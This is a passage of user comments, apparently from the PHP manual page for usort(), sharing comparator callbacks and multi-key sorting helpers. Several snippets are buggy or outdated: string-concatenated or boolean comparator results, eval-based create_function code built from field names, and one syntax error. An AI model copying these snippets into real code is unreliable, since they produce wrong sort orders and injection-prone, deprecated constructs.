This is because PHP only compares the pairs (valA, valB) and (valB, valC) if it finds that both of them are supposed to be equal, as it assumes the sorting function to be transitive.
user dot boba at gmail dot com 13-Sep-2017 05:10
PHP7 spaceship operator very helpful in sorting function callback

http://php.net/manual/en/migration70.new-features.php#migration70.new-features.spaceship-op

<?php

// PHP < 7 example
function cmp($a, $b)
{
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// PHP7 example
function cmp($a, $b)
{
    return $a <=> $b;
}
121616591 at qq dot com 02-May-2017 09:49
You can also sort multi-dimensional array for multiple values like as
<?php
$arr = array(
    array('id'=>1, 'age'=>1, 'sex'=>6, 'name'=>'a'),
    array('id'=>2, 'age'=>3, 'sex'=>1, 'name'=>'c'),
    array('id'=>3, 'age'=>3, 'sex'=>1, 'name'=>'b'),
    array('id'=>4, 'age'=>2, 'sex'=>1, 'name'=>'d'),
);

print_r(arrayOrderBy($arr, 'age asc,sex asc,name desc'));

function arrayOrderBy(array &$arr, $order = null) {
    if (is_null($order)) {
        return $arr;
    }
    $orders = explode(',', $order);
    usort($arr, function($a, $b) use($orders) {
        $result = array();
        foreach ($orders as $value) {
            list($field, $sort) = array_map('trim', explode(' ', trim($value)));
            if (!(isset($a[$field]) && isset($b[$field]))) {
                continue;
            }
            if (strcasecmp($sort, 'desc') === 0) {
                $tmp = $a;
                $a = $b;
                $b = $tmp;
            }
            if (is_numeric($a[$field]) && is_numeric($b[$field]) ) {
                $result[] = $a[$field] - $b[$field];
            } else {
                $result[] = strcmp($a[$field], $b[$field]);
            }
        }
        return implode('', $result);
    });
    return $arr;
}
?>

output:
Array
(
    [0] => Array
        (
            [id] => 1
            [age] => 1
            [sex] => 6
            [name] => a
        )

    [1] => Array
        (
            [id] => 4
            [age] => 2
            [sex] => 1
            [name] => d
        )

    [2] => Array
        (
            [id] => 2
            [age] => 3
            [sex] => 1
            [name] => c
        )

    [3] => Array
        (
            [id] => 3
            [age] => 3
            [sex] => 1
            [name] => b
        )

)
inigo dot grimbergen at gmail dot com 14-Jan-2017 06:51
to sort with numeric and empty values  and have the smallest on top:
<?php
    usort($list, function($a, $b) {
        if( $a == null && $b != null ) return 1;
        if( $a != null && $b == null ) return -1;
        return $a > $b ? 1 : -1;
    });
?>
returns
1
2
3
null
null
null
inigo dot grimbergen at gmail dot com 14-Jan-2017 06:50
to sort with numeric and empty values  and have the smallest on top:
<?php
    usort($list, function($a, $b) {
        if( $a == null && $b != null ) return 1;
        if( $a != null && $b == null ) return -1;
        return $a > $b ? 1 : -1;
    });
?>
returns
1
2
3
null
null
null
grzeniufication at gmail dot com 16-Dec-2016 07:56
Just wanted to show off the beauty of PHPs spaceship operator in this use case.

<?php // tested on PHP 7.1
$a = [2, 1, 3, 6, 5, 4, 7];
$asc = $desc = $a;
usort($asc, function (int $a, int $b) { return ($a <=> $b); });
usort($desc, function (int $a, int $b) { return -($a <=> $b); });
print_r([ $a, $asc, $desc ]);

/**
 * Getting ahead of myself but... If arrow function syntax was possible:
 * usort($asc, (int $a, int $b) => ($a <=> $b));
 * usort($desc, (int $a, int $b) => -($a <=> $b));
 */
?>
Nsisodia91 at gmail dot com 19-Feb-2016 12:12
You can also sort multi-dimensional array for multiple values like as

<?php
$arr = [
    [
        "name"=> "Sally",
        "nick_name"=> "sal",
        "availability"=> "0",
        "is_fav"=> "0"
    ],
    [
        "name"=> "David",
        "nick_name"=> "dav07",
        "availability"=> "0",
        "is_fav"=> "1"
    ],
    [
        "name"=> "Zen",
        "nick_name"=> "zen",
        "availability"=> "1",
        "is_fav"=> "0"
    ],
    [
        "name"=> "Jackson",
        "nick_name"=> "jack",
        "availability"=> "1",
        "is_fav"=> "1"
    ],
    [
        "name"=> "Rohit",
        "nick_name"=> "rod",
        "availability"=> "0",
        "is_fav"=> "0"
    ],

];

usort($arr,function($a,$b){
    $c = $b['is_fav'] - $a['is_fav'];
    $c .= $b['availability'] - $a['availability'];
    $c .= strcmp($a['nick_name'],$b['nick_name']);
    return $c;
});

print_r($arr);
?>

Output:

Array
(
    [0] => Array
        (
            [name] => Jackson
            [nick_name] => jack
            [availability] => 1
            [is_fav] => 1
        )

    [1] => Array
        (
            [name] => David
            [nick_name] => dav07
            [availability] => 0
            [is_fav] => 1
        )

    [2] => Array
        (
            [name] => Zen
            [nick_name] => zen
            [availability] => 1
            [is_fav] => 0
        )

    [3] => Array
        (
            [name] => Rohit
            [nick_name] => rod
            [availability] => 0
            [is_fav] => 0
        )

    [4] => Array
        (
            [name] => Sally
            [nick_name] => sal
            [availability] => 0
            [is_fav] => 0
        )

)
kostya dot develop at gmail dot com 31-Jan-2016 05:26
Now, in php 7, we can use the spaceship operator. For example lest sort array of words from element string length:

<?php
$sampleArray = ['one', 'two', free', 'fore', 'five'];

usort($sampleArray, function($a, $b) {
      return strlen($a) <=> strlen($b);
});
me at evertpot dot com 16-Jul-2015 11:13
I see many people here (including the official examples) write their callbacks rather clumsily like this:

<?php
function($a, $b) {
  if ($a === $b) {
    return 0;
  } elseif ($a < $b) {
    return -1;
  } else {
    return 1;
  }
}
?>

Or if they are a bit more clever:

<?php
function($a, $b) {

  if ($a === $b) {
    return 0;
  } else {
    return $a < $b ? -1 : 1;
  }
}
?>

But this can by simplified further to:

<?php
function($a, $b) {
  return $a - $b;
}
?>
bob at thecaverlys dot net 03-Dec-2014 03:10
Below is a variation on Example #4 that implements a multi-key natural sort on an associative array and can be called in such a way as to allow reversing the sort order and/or making the comparison case insensitive on a key by key basis.

Test code is included in the file - run it from the command line with: php sortUtils.php

<?php
/**
 *    sortUtils.php
*/

/**
 *    mknatsort() - Multi-Key Natural Sort for associative arrays
 *
 *    Uses the usort() function to perform a natural sort on a multi-dimensional
 *    array on multiple keys. Optionally specifying the sort order for each key
 *    and/or ignoring the case for each key value.
 *
 *    @param array $data_array The array to be sorted.
 *    @param mixed $keys The list of keys to be sorted by. This may be a single
 *        key or an array of keys
 *    @param boolean $reverse Specify whether or not to reverse the sort order. If
 *        there are multiple keys then $reverse may be an array of booleans - one
 *        per key.
 *    @param boolean $ignorecase Specify whether or not to ignore the case when
 *        comparing key values.reverse the sort order. If there are multiple keys
 *        then $ignorecase may be an array of booleans - one per key.
*/
function mknatsort ( &$data_array, $keys, $reverse=false, $ignorecase=false ) {
    // make sure $keys is an array
    if (!is_array($keys)) $keys = array($keys);
    usort($data_array, sortcompare($keys, $reverse, $ignorecase) );
}

function sortcompare($keys, $reverse=false, $ignorecase=false) {
    return function ($a, $b) use ($keys, $reverse, $ignorecase) {
        $cnt=0;
        // check each key in the order specified
        foreach ( $keys as $key ) {
            // check the value for ignorecase and do natural compare accordingly
            $ignore = is_array($ignorecase) ? $ignorecase[$cnt] : $ignorecase;
            $result = $ignore ? strnatcasecmp ($a[$key], $b[$key]) : strnatcmp($a[$key], $b[$key]);
            // check the value for reverse and reverse the sort order accordingly
            $revcmp = is_array($reverse) ? $reverse[$cnt] : $reverse;
            $result = $revcmp ? ($result * -1) : $result;
            // the first key that results in a non-zero comparison determines
            // the order of the elements
            if ( $result != 0 ) break;
            $cnt++;
        }
        return $result;
    };
} // end sortcompare()

// test code that will be skipped if this is included in the web environment
// test with: php sortUtils.php from the command line
$sapi_type = php_sapi_name();
if (substr($sapi_type, 0, 3) == 'cli') {

    // the following shows several examples of usage and the resulting output.
    $test[] = array('Status'=>'In Progress', 'comment'=>'This looks good.', 'user_name'=>'John Doe', 'date_modified'=>'06/13/2014 11:20 AM', 'role'=>'Senior Account Manager');
    $test[] = array('Status'=>'In Progress', 'comment'=>'This looks good, please approve.', 'user_name'=>'John Doe', 'date_modified'=>'06/13/2014 11:19 AM', 'role'=>'Account Manager');
    $test[] = array('Status'=>'In Progress', 'comment'=>'This looks good.', 'user_name'=>'Jane Smith', 'date_modified'=>'06/13/2014 11:19 AM', 'role'=>'Senior Account Manager');
    $test[] = array('Status'=>'Returned', 'comment'=>'There is not enough informartion.  Please add the following.', 'user_name'=>'John Doe', 'date_modified'=>'06/13/2014 11:15 AM', 'role'=>'Account Manager');
    $test[] = array('Status'=>'In Progress', 'comment'=>'I am currently reviewing this.', 'user_name'=>'John Doe', 'date_modified'=>'06/13/2014 11:14 AM', 'role'=>'Account Manager');
    echo "Original array: ";
    print_r($test);

    echo "Sorted on date_modified: ";
    mknatsort($test, array('date_modified') );
    print_r($test);

    echo "Sorted on role(reversed) & date_modified: ";
    mknatsort($test, array('role','date_modified'),array(true,false) );
    print_r($test);

    echo "Sorted on role & date_modified(reversed): ";
    mknatsort($test, array('role','date_modified'),array(false,true) );
    print_r($test);
}

?>
Gerald Schneider 09-Dec-2013 07:57
usort returns null when the sorting function is not (yet) defined. The function has to be defined before usort is called, afterwards doesn't work.
me at perochak dot com 07-Aug-2013 08:37
If you want to sort the time based array, then this will be helpfull.

function timesort($array){
            usort($array, function($a, $b)
            {
                $a=strtotime($a);
                $b=strtotime($b);

                if ($a == $b)
                {
                    return 0;
                }
                else if ($a < $b)
                {
                    return -1;
                }
                else {
                    return 1;
                }
            });
}

Input:

$time_array=Array
(
    [1] => 10:00AM
    [2] => 09:00AM
    [3] => 02:00PM
    [4] => 11:00AM
)

Output:
print_r(timesort($time_array));
Array
(
    [0] => 09:00AM
    [1] => 10:00AM
    [2] => 11:00AM
    [3] => 02:00PM
)
Hayley Watson 08-Apr-2013 10:30
As the documentation says, the comparison function needs to return an integer that is either "less than, equal to, or greater than zero". There is no requirement to restrict the value returned to -1, 0, 1.

<?php
usort($array, function($a, $b) {
    if($a->integer_property > $b->integer_property) {
        return 1;
    }
    elseif($a->integer_property < $b->integer_property) {
        return -1;
    }
    else {
        return 0;
    }
});
?>

can be simplified to

<?php
usort($array, function($a, $b) {
    return $a->integer_property - $b->integer_property;
});
?>

This of course applies to any comparison function that calculates an integer "score" for each of its arguments to decide which is "greater".
hexarobi at gmail dot com 21-Feb-2013 09:04
Needed to sort an array of objects based on multiple properties. (ie: Group, then Last Name, then First Name) Doing this in multiple usorts fails because the second usort ends up shuffling the results of the previous usort because order is undefined when criteria are equal. Ended up writing a function that builds a comparison operator by nesting ternary operators for each field, then using that function in usort(). Hopefully it's of use to someone else.

<?php
/*
 * Sorts an array of objects by a list of properties.
 * Each property can have the following options:
 *   'property' can be either a public variable or a method().
 *   'order' can be ASC or DESC
 *   'comparer' can be string, number, or date
 *
 * Example:
 * sortObjectsByProperties($objects, array(
 *       array('property'=>'getPrice()', order=>'ASC', 'comparer'=>'number'),
 *       array('property'=>'getName()', order=>'DESC', 'comparer'=>'string'),
 *       array('property'=>'created_date', order=>'ASC', 'comparer'=>'date'),
 *       array('property'=>'id', order=>'ASC', 'comparer'=>'number'),
 *   ));
 *
 * @author Tyler Chamberlain
 */
function sortObjectsByProperties(&$objects, $fields) {
        $comparerFunctionString = "";
        foreach ($fields as $field) {
            if ($field['comparer'] == 'number') {
                $comparerFunction = "(\$a->{$field['property']} == \$b->{$field['property']} ? 0 : (\$a->{$field['property']} > \$b->{$field['property']} ? 1 : -1))";
            } elseif ($field['comparer'] == 'date') {
                $comparerFunction = "(strtotime(\$a->{$field['property']}) > strtotime(\$b->{$field['property']}) ? 1 : -1)";
            } else {
                $comparerFunction = "strcasecmp(\$a->{$field['property']},\$b->{$field['property']})";
            }
            if ($field['order'] === 'DESC') { $comparerFunction = "-".$comparerFunction; }
            $comparerFunctionString .= "$comparerFunction != 0 ? $comparerFunction : (";
        }
        $comparer = "return ($comparerFunctionString 0 )".str_repeat(")", sizeof($fields)).";";
        usort($objects, create_function('$a,$b', $comparer));
}
?>
Jian Wu 06-Jul-2012 09:16
The usort function actually moves $b up when the callback function returns both 0 and 1.  If you want to preserve the original order in the array, return 1 when $a == $b instead of 0.  Try this code below to see how usort alters the order of the original array when all values are the same.

<?php
class TestObj {
    private $name;
    private $id;

    function TestObj($name, $id) {
        $this->name = $name;
        $this->id = $id;
    }

    static function cmp_obj($a, $b) {
        $al = strtolower($a->name);
        $bl = strtolower($b->name);
        if ($al == $bl) {
            return 0; // return 1 if you don't want $b to go in front of $a
        }
        return ($al > $bl) ? +1 : -1;
    }
}

$a[] = new TestObj("a", 1);
$a[] = new TestObj("a", 2);
$a[] = new TestObj("a", 3);

var_dump($a);
usort($a, array("TestObj", "cmp_obj"));
var_dump($a);
?>
zuallauz at gmail dot com 29-Mar-2012 09:56
When trying to do some custom sorting with objects and an anonymous function it wasn't entirely clear how this usort function works. I think it probably uses a quicksort in the background. Basically it actually moves the $b variable up or down in respect to the $a variable. It does NOT move the $a variable inside the callback function. This is key to getting your logic right in the comparisons.

If you return -1 that moves the $b variable down the array, return 1 moves $b up the array and return 0 keeps $b in the same place.

To test I cut down my code to sorting a simple array from highest priority to lowest.

<?php
$priorities = array(5, 8, 3, 7, 3);

usort($priorities, function($a, $b)
{
    if ($a == $b)
    {
        echo "a ($a) is same priority as b ($b), keeping the same\n";
        return 0;
    }
    else if ($a > $b)
    {
        echo "a ($a) is higher priority than b ($b), moving b down array\n";
        return -1;
    }
    else {
        echo "b ($b) is higher priority than a ($a), moving b up array\n";
        return 1;
    }
});

echo "Sorted priorities:\n";
var_dump($priorities);
?>

Output:

b (8) is higher priority than a (3), moving b up array
b (5) is higher priority than a (3), moving b up array
b (7) is higher priority than a (3), moving b up array
a (3) is same priority as b (3), keeping the same
a (8) is higher priority than b (3), moving b down array
b (8) is higher priority than a (7), moving b up array
b (8) is higher priority than a (5), moving b up array
b (8) is higher priority than a (3), moving b up array
a (5) is higher priority than b (3), moving b down array
a (7) is higher priority than b (5), moving b down array

Sorted priorities:
array(5) {
  [0]=> int(8)
  [1]=> int(7)
  [2]=> int(5)
  [3]=> int(3)
  [4]=> int(3)
}
andi_mclean at ntlworld dot com 04-Feb-2012 03:58
I needed a sort method that would sort strings but take note of any numbers and would compare them as number. I also want to ignore any non alphanumerical characters.

Eg.
Slot 1 Example
Slot 10 Example
Slot 2 Example

Should infact be
Slot 1 Example
Slot 2 Example
Slot 10 Example

<?php
function sort_with_numbers($a , $b) {
    $a = explode(' ',$a);
    $b = explode(' ',$b);
    $size = min(count($a), count($b));
    for($index =0; $index < $size; ++$index) {
        $a1 = ereg_replace("[^A-Za-z0-9]", "",$a[$index]);
        $b1 = ereg_replace("[^A-Za-z0-9]", "",$b[$index]);
        $equal = 0;
        if (is_numeric($a1) && is_numeric($b1)) {
            $equal = $a1 - $b1;
        } else {
            $equal = strcasecmp($a1,$b1);
        }
        if ($equal < 0) {
            return -1;
        }
        if ($equal > 0) {
            return 1;
        }
    }
    return count($a) - count($b);
}
?>
admin at gosenz dot com 04-Dec-2011 08:58
sort multi-dimentional arrays in class with usort

<?php
class ArraySort
{
    private $arr = array();

    public function __construct($arr)
    {
        $this->arr = $arr;
    }

    public function doSort()
    {
        $cmp = function($a, $b)
        {
            //Do Some Comparation
        }
        if(is_array($this->arr))
        {
            usort($this->arr, $cmp);
        }
        return $this->arr;
    }
}
?>
Gok6tm 13-Sep-2011 06:09
this is a new multisort function for sorting on multiple subfield like it will be in sql : 'ORDER BY field1, field2'
number of sort field is undefined
<?php

$array[] = array('soc' => 3, 'code'=>1);
$array[] = array('soc' => 2, 'code'=>1);
$array[] = array('soc' => 1, 'code'=>1);
$array[] = array('soc' => 1, 'code'=>1);
$array[] = array('soc' => 2, 'code'=>5);
$array[] = array('soc' => 1, 'code'=>2);
$array[] = array('soc' => 3, 'code'=>2);

//usage
print_r(multiSort($array, 'soc', 'code'));

function multiSort() {
    //get args of the function
    $args = func_get_args();
    $c = count($args);
    if ($c < 2) {
        return false;
    }
    //get the array to sort
    $array = array_splice($args, 0, 1);
    $array = $array[0];
    //sort with an anoymous function using args
    usort($array, function($a, $b) use($args) {

        $i = 0;
        $c = count($args);
        $cmp = 0;
        while($cmp == 0 && $i < $c)
        {
            $cmp = strcmp($a[ $args[ $i ] ], $b[ $args[ $i ] ]);
            $i++;
        }

        return $cmp;

    });

    return $array;

}
?>

output:
Array
(
    [0] => Array
        (
            [soc] => 1
            [code] => 1
        )

    [1] => Array
        (
            [soc] => 1
            [code] => 1
        )

    [2] => Array
        (
            [soc] => 1
            [code] => 2
        )

    [3] => Array
        (
            [soc] => 2
            [code] => 1
        )

    [4] => Array
        (
            [soc] => 2
            [code] => 5
        )

    [5] => Array
        (
            [soc] => 3
            [code] => 1
        )

    [6] => Array
        (
            [soc] => 3
            [code] => 2
        )

)
Lea Hayes 12-Jul-2011 05:55
<?php
/**
 * Sort array of objects by field.
 *
 * @param array $objects Array of objects to sort.
 * @param string $on Name of field.
 * @param string $order (ASC|DESC)
 */
function sort_on_field(&$objects, $on, $order = 'ASC') {
    $comparer = ($order === 'DESC')
        ? "return -strcmp(\$a->{$on},\$b->{$on});"
        : "return strcmp(\$a->{$on},\$b->{$on});";
    usort($objects, create_function('$a,$b', $comparer));
}
?>
bcsj 28-Jun-2011 11:12
Sorting a multidimensional array by a subkey seem to be one of the bigger challenges when using usort. At least if one want the key to be dynamic. For anyone interested this code seemed to work rather well for me:

<?php

usort($array,array(new cmp($key), "cmp__"));

class cmp {
    var $key;
    function __construct($key) {
        $this->key = $key;
    }

    function cmp__($a,$b) {
        $key = $this->key;
        if ($a[$key] == $b[$key]) return 0;
        return (($a[$key] > $b[$key]) ? 1 : -1);
    }
}

?>
masonswolf+ignorethispart at gmail dot com 13-Jun-2011 10:42
[The second version of a function I wrote], just a little cleaner to use, since the usort call is now folded into the custom 'usortByArrayKey' function.

Seems like this is a popular problem - sorting an array of arrays by the keys of sub-arrays, so I'll go ahead and throw in an approach I haven't seen anyone mention yet. It only works since PHP 5.3 because that's when anonymous functions got added to the language.

<?php
function usortByArrayKey(&$array, $key, $asc=SORT_ASC) {
    $sort_flags = array(SORT_ASC, SORT_DESC);
    if(!in_array($asc, $sort_flags)) throw new InvalidArgumentException('sort flag only accepts SORT_ASC or SORT_DESC');
    $cmp = function(array $a, array $b) use ($key, $asc, $sort_flags) {
        if(!is_array($key)) { //just one key and sort direction
            if(!isset($a[$key]) || !isset($b[$key])) {
                throw new Exception('attempting to sort on non-existent keys');
            }
            if($a[$key] == $b[$key]) return 0;
            return ($asc==SORT_ASC xor $a[$key] < $b[$key]) ? 1 : -1;
        } else { //using multiple keys for sort and sub-sort
            foreach($key as $sub_key => $sub_asc) {
                //array can come as 'sort_key'=>SORT_ASC|SORT_DESC or just 'sort_key', so need to detect which
                if(!in_array($sub_asc, $sort_flags)) { $sub_key = $sub_asc; $sub_asc = $asc; }
                //just like above, except 'continue' in place of return 0
                if(!isset($a[$sub_key]) || !isset($b[$sub_key])) {
                    throw new Exception('attempting to sort on non-existent keys');
                }
                if($a[$sub_key] == $b[$sub_key]) continue;
                return ($sub_asc==SORT_ASC xor $a[$sub_key] < $b[$sub_key]) ? 1 : -1;
            }
            return 0;
        }
    };
    usort($array, $cmp);
};
?>

Examples:
1) Sort a multi-dimensional array by a single key, from least to greatest:
    usortByArrayKey($resultset, 'order_id');

2) Sort a multi-dimensional array by a single key, from greatest to least:
    usortByArrayKey($resultset, 'purchase_amount', SORT_DESC);

3) Sort a multi-dimensional array first by one key, but then by a different key when the first one is equal, both from least to greatest:
    usortByArrayKey($resultset, array('product_id', 'price'));

4) Sort a multi-dimensional array by two different keys from least to greatest, and then a third from greatest to least if the first two keys map to the equal values:
    usortByArrayKey($resultset, array('product_id', 'customer_id', 'date'=>SORT_DESC));

5) Sort a multi-dimensional array by multiple keys, all from greatest to least:
    usortByArrayKey($resultset, array('product_id', 'price'), SORT_DESC);

One word of caution, since SORT_ASC and SORT_DESC have actual int values of 4 and 3, respectively, if you need to sort a multi-dimensional array by keys 3 or 4, and you're using an array to pass in your keys, you MUST specify your sort flags (e.g. array(3 => SORT_ASC,...)) to prevent unexpected behavior, instead of relying on the function's second parameter as your default sort flag.
fmaz008 at gmail dot com 29-Sep-2010 02:23
This comment is just to help backward compatibility.

I needed to have a foreach loop using reference just before using the usort function on the same array that was used in the foreach.

Like this:
<?php
public function sortByTitle()
{
        if(empty($this->_arrSubCat))
            return false;

        foreach($this->_arrSubCat as &$cat)
            $cat->sortByTitle();

        usort($this->_arrSubCat, 'strcasecmp');
}
?>

I had this strange bug where the last object of the $this->_arrSubCat array before the sort was alway replaced/overwrited with his string value.

On my machine (PHP 5.3), I had no problem, but when I placed the code on another server, my code crashed with a fatal error (Because I was using a string as an object later in the code)

The solution I found is really simple, and avoid the array to have a reference declared in memory while running the sort function. Just add an unset($cat):

<?php
public function sortByTitle()
{
        if(empty($this->_arrSubCat))
            return false;

        foreach($this->_arrSubCat as &$cat)
            $cat->sortByTitle();

        unset($cat); //No more problem because of the foreach &cat reference.
        usort($this->_arrSubCat, 'strcasecmp');
}
?>

It took me an hour an a half to locate the bug, hope it will save someone some time !
phil at lavin dot me dot uk 01-Aug-2010 11:06
strcmp (or strcasecmp) can be used as a callback function for usort. It will cast your comparison values to string. Thus, you can implement a __toString() method into your classes and use usort without creating a callback function:

<?php
class Foo {
   private $a;
   private $b;

   public function __construct($a, $b) {
      $this->a = $a;
      $this->b = $b;
   }

   public function __toString() {
      return (string)$this->a;
   }
}

$foo = array(new Foo('t', 'b'), new Foo('a', 'c'), new Foo('g', 'd'));

print_r($foo);

usort($foo, 'strcasecmp');

print_r($foo);
?>
xaguilars at gmail dot com 06-May-2010 04:03
I'd like to share with the community my function for sorting an array of arrays or objects containing associative data. This could be used, for example, with a MySQL result.

<?php
function sort_by($field, &$arr, $sorting=SORT_ASC, $case_insensitive=true){
    if(is_array($arr) && (count($arr)>0) && ( ( is_array($arr[0]) && isset($arr[0][$field]) ) || ( is_object($arr[0]) && isset($arr[0]->$field) ) ) ){
        if($case_insensitive==true) $strcmp_fn = "strnatcasecmp";
        else $strcmp_fn = "strnatcmp";

        if($sorting==SORT_ASC){
            $fn = create_function('$a,$b', '
                if(is_object($a) && is_object($b)){
                    return '.$strcmp_fn.'($a->'.$field.', $b->'.$field.');
                }else if(is_array($a) && is_array($b)){
                    return '.$strcmp_fn.'($a["'.$field.'"], $b["'.$field.'"]);
                }else return 0;
            ');
        }else{
            $fn = create_function('$a,$b', '
                if(is_object($a) && is_object($b)){
                    return '.$strcmp_fn.'($b->'.$field.', $a->'.$field.');
                }else if(is_array($a) && is_array($b)){
                    return '.$strcmp_fn.'($b["'.$field.'"], $a["'.$field.'"]);
                }else return 0;
            ');
        }
        usort($arr, $fn);
        return true;
    }else{
        return false;
    }
}
?>
nicolas dot demarque at gmail dot com 10-Apr-2010 11:37
Another way to compare object is to have a compare static function in the class with reccursion ability and have globals or static variables who save the state of comparison, and the order.

It could be a good idea to have a variable with comparison functions name (with the sorting : numeric, alphanumeric, inverse).

<?php
interface Comparable{static function compare($a, $b);}
class myObj implements Comparable{
        var $var1; var $var2; var $var3;
        function __construct($v1, $v2, $v3){
                $this->var1=$v1; $this->var2=$v2; $this->var3=$v3;
        }
        public function __toString() {
                return "v1 ".$this->var1." v2 ".$this->var2." v3 ".$this->var3;
        }
        static function compare($a, $b){
                $sort=$GLOBALS['sorts'][$GLOBALS['sort']];
                echo "$sort\n";
                if($a->$sort == $b->$sort){
                        if($GLOBALS['sorts'][$GLOBALS['sort']+1]){
                                $GLOBALS['sort']++;
                                $res=  call_user_func(array('myObj', 'compare'), $a, $b);
                                $GLOBALS['sort']=0; return $res;
                        }
                        $GLOBALS['sort']=0; return 0;
                }
                $GLOBALS['sort']=0;
                if($a->$sort > $b->$sort)
                        return 1;
                return -1;
        }
}

$objects = array(new myObj("1", "2", "3"), new myObj("2", "2", "2"), new myObj("1", "3", "4"));

/* Tests */
$sorts=Array('var1', 'var2', 'var3'); $sort = 0; usort($objects, array('myObj', 'compare')); echo ("var1 var2 var3\n"); foreach($objects as $o)echo $o."\n";
$sorts=Array('var2', 'var3', 'var1'); $sort = 0; usort($objects, array('myObj', 'compare')); echo ("\nvar2 var3 var1\n"); foreach($objects as $o)echo $o."\n";
$sorts=Array('var2', 'var1', 'var3'); $sort = 0; usort($objects, array('myObj', 'compare')); echo ("\nvar2 var1 var3\n"); foreach($objects as $o)echo $o."\n";

?>
Will Shaver 27-Aug-2009 02:31
An even better implementation of osort [than my original, posted on 24-AUG-09 (since deleted)], allowing for multiple properties and directions.  With php 5.3.0 sorting by properties of an object becomes MUCH simpler.  Note that this uses anonymous functions / closures. Might find reviewing the php docs on that useful.  Look below for examples for previous version of php.

<?php
function osort(&$array, $props)
{
    if(!is_array($props))
        $props = array($props => true);

    usort($array, function($a, $b) use ($props) {
        foreach($props as $prop => $ascending)
        {
            if($a->$prop != $b->$prop)
            {
                if($ascending)
                    return $a->$prop > $b->$prop ? 1 : -1;
                else
                    return $b->$prop > $a->$prop ? 1 : -1;
            }
        }
        return -1; //if all props equal
    });
}
?>

Usage:

<?php
osort($items, array("Color" => true, "Size" => false));
//or
osort($items, "Color");
?>
maarten at xel dot nl 17-Jul-2009 08:45
If you ever have to sort a collection of objects on something like a string (name) present in every object, but want to keep the array of objects intact you might find this useful:

<?php
function naturalSortObjectArray($objectArray) {
        function naturalSortByName($a, $b) {
            return strnatcmp($a->name, $b->name);
        }
        usort($objectArray, "naturalSortByName");
        return $objectArray;
}
?>
huskyr at gmail dot com 28-May-2009 06:04
Remember that functions inside of functions will become part of the global scope too. So, something like:

<?php
    function foo($array) {
        function compare($a,$b) {
            return $a < $b;
        }
        usort($array, "compare");
        return $array;
    }

    function bar($array) {
        function compare($a,$b) {
            return $a > $b;
        }
        usort($array, "compare");
        return $array;
    }

    foo($something);
    bar($something_else);
?>

Will result in a fatal error because you're redeclaring 'compare'. This could be a little strange, e.g. for JavaScript programmers who expect functions in functions to become private outside of the parent scope.
gmail.com - nmcquay 31-Mar-2009 12:25
I wrote a wrapper for usort that lets you use something similar to an SQL ORDER BY clause. It can sort arrays of associative arrays and arrays of objects and I think it would work with some hybrid case.

Example of how the function works:

<?php
$testAry = array(
  array('a' => 1, 'b' => 2, 'c' => 3),
  array('a' => 2, 'b' => 1, 'c' => 3),
  array('a' => 3, 'b' => 2, 'c' => 1),
  array('a' => 1, 'b' => 3, 'c' => 2),
  array('a' => 2, 'b' => 3, 'c' => 1),
  array('a' => 3, 'b' => 1, 'c' => 2)
);

Utility::orderBy($testAry, 'a ASC, b DESC');

//Result:
$testAry = array(
  array('a' => 1, 'b' => 3, 'c' => 2),
  array('a' => 1, 'b' => 2, 'c' => 3),
  array('a' => 2, 'b' => 3, 'c' => 1),
  array('a' => 2, 'b' => 1, 'c' => 3),
  array('a' => 3, 'b' => 2, 'c' => 1),
  array('a' => 3, 'b' => 1, 'c' => 2)
);
?>

To sort an array of objects you would do something like:
Utility::orderBy($objectAry, 'getCreationDate() DESC, getSubOrder() ASC');

This would sort an array of objects that have methods getCreationDate() and getSubOrder().

Here is the function:

<?php
class Utility {
    /*
    * @param array $ary the array we want to sort
    * @param string $clause a string specifying how to sort the array similar to SQL ORDER BY clause
    * @param bool $ascending that default sorts fall back to when no direction is specified
    * @return null
    */
    public static function orderBy(&$ary, $clause, $ascending = true) {
        $clause = str_ireplace('order by', '', $clause);
        $clause = preg_replace('/\s+/', ' ', $clause);
        $keys = explode(',', $clause);
        $dirMap = array('desc' => 1, 'asc' => -1);
        $def = $ascending ? -1 : 1;

        $keyAry = array();
        $dirAry = array();
        foreach($keys as $key) {
            $key = explode(' ', trim($key));
            $keyAry[] = trim($key[0]);
            if(isset($key[1])) {
                $dir = strtolower(trim($key[1]));
                $dirAry[] = $dirMap[$dir] ? $dirMap[$dir] : $def;
            } else {
                $dirAry[] = $def;
            }
        }

        $fnBody = '';
        for($i = count($keyAry) - 1; $i >= 0; $i--) {
            $k = $keyAry[$i];
            $t = $dirAry[$i];
            $f = -1 * $t;
            $aStr = '$a[\''.$k.'\']';
            $bStr = '$b[\''.$k.'\']';
            if(strpos($k, '(') !== false) {
                $aStr = '$a->'.$k;
                $bStr = '$b->'.$k;
            }

            if($fnBody == '') {
                $fnBody .= "if({$aStr} == {$bStr}) { return 0; }\n";
                $fnBody .= "return ({$aStr} < {$bStr}) ? {$t} : {$f};\n";
            } else {
                $fnBody = "if({$aStr} == {$bStr}) {\n" . $fnBody;
                $fnBody .= "}\n";
                $fnBody .= "return ({$aStr} < {$bStr}) ? {$t} : {$f};\n";
            }
        }

        if($fnBody) {
            $sortFn = create_function('$a,$b', $fnBody);
            usort($ary, $sortFn);
        }
    }
}
?>
luke dot semerau at gmail dot com 28-Mar-2009 12:25
If you need to use usort with a key in the calling method, I wrote this as a utility:
<?php

function usort_comparison($obj, $method, $key) {
    $usorter = &new Usort($obj, $method, $key);
    return array($usorter, "sort");
}

class Usort {
    function __construct($obj, $method, $key) {
        $this->obj = $obj;
        $this->method = $method;
        $this->key = $key;
    }
    function sort($a, $b) {
        return call_user_func_array(array($this->obj, $this->method), array($a, $b, $this->key));
    }
}

?>

<?php

require_once("util/usort.php");

class Foo {
    $items = array(FooBar(13), FooBar(2));
    public function sorter() {
        usort($this-items, usort_comparison("Foo", "_cmp", "item"));
    }

    public static function _cmp($a, $b, $key) {
         return strcasecmp($a->$key, $b->$key);
    }

}

class FooBar {
    public $item;
    function __construct($val) {
        $this->item = $val;
    }
}

?>

~ simple example... but in the way I need to use it was the key was used in a switch statement to choose the different member of the object to compare against dynamically (as in, sort by x or y or z)
Anonymous 12-Jan-2009 03:14
To sort reliably on more than one "column" in database-style arrays, handle this within your cmp function where the first field to be sorted returns 0:

<?php

function cmp($a, $b){

 if($a[field_1] == $b[field_1]){

  if($a[field_2] == $b[field_2]){

   return 0;

  }

  elseif($a[field_2] > $b[field_2]){

   return -1;

  }

  elseif($a[field_2] < $b[field_2]){

   return 1;

  }

 }

 elseif($a[field_1] > $b[field_1]){

  return -1;

 }

 elseif($a[field_1] < $b[field_1]){

